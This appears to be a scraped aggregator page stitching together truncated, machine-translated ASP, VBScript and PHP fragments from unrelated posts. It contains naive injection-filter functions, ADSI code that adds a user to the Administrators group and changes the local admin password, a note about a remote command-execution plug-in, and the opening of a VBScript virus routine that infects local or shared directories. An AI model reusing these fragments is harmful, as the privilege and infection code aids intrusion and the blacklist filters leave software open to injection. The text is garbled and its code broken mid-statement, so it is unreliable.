Public string filtRiskChar (string str) // filter invalid characters{String s = "";
S = str. Replace ("'","");S = s. Replace (";","");S = s. Replace ("1 = 1 ","");S = s. Replace ("| ","");S = s. Replace ("S = s. Replace ("> ","");
Return s;}
Public
Recently, I am writing a remote server management plug-in (referring to some of the ASE code, and adding remote command execution, upload, and service functions .)It is worth noting that the program must be supported by FileSystemObject. The
Check. asp
CopyCode The Code is as follows: ''''''''''''''''''''''''''''''''''''
Function replacetext (fstring, patrn, replstr)
Set RegEx = new Regexp 'to create a regular expression.
RegEx. pattern = patrn 'setting mode.
RegEx. ignorecase = true'
Although the Windows system is operated every day, I have taken a look at the relevant information in msdn. Nima has a big head and it is not good at English. Secondly, I am not familiar with some class libraries on Windows. After all, I am dealing
Add a domain user or lease to a local group
Set objGroup = GetObject ("WinNT: //./Administrators ")
Set objUser = GetObject ("WinNT: // testnet/Engineers ")
ObjGroup. Add (objUser. ADsPath)
Modify the local administrator passwordSet objcnlar =
The following is the source code. Please name it the. asp file.
Copy codeThe Code is as follows: Bpn = request ("bpn ")
If (bpn = "") then
Bpn = "0"
End if
Intbpn = cint (bpn)
If request ("action") = "1" thenWord = request ("word ")Url = request ("
INDEX. PHP
The Code is as follows!
Function delquot ($ sStr ){$ S = str_replace (chr (124), "", $ sStr );$ S = str_replace (chr (39), "", $ s );$ S = str_replace (chr (34), "", $ s );Return $ s;}
If ($ cmdYes = "inbound "){$ SUserName =
This post will collect and collect the most comprehensive functions used in ASP programming applications. Everyone is me and everyone is me :)As long as each person provides one or two collections of well-known general functions, I think this post
Dim InWhere, HtmlText, VbsText, DegreeSign, AppleObject, FSO, WsShell, WinPath, SubE, FinalyDisk
Sub KJ_start ()'Initialization variableKJSetDim ()'Initialize the environmentKJCreateMilieu ()'Infect the local directory or share the directory with
Struserlist = struserlist & "
"Sendmsg ('" & usernick & "'); return false; \" & chr (34 )&_
"Class = 'l _ line'> " & usernick & " "
'Struserlist string is assigned to a form on another page to hide text units.
If (top.LineInfo.doc ument. forms.
Batch filter post and get sensitive data
Copy codeThe Code is as follows: $ _ GET = stripslashes_array ($ _ GET );
$ _ POST = stripslashes_array ($ _ POST );
Data Filtering FunctionCopy codeThe Code is as follows: function stripslashes_array (& $
'Today, we found that the value of the previously added data field contains a blank line symbol.Previously added data in batchesCodeYes
Form'
Parameters submitted by the form include line breaks. Use the Function
ASP processing
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.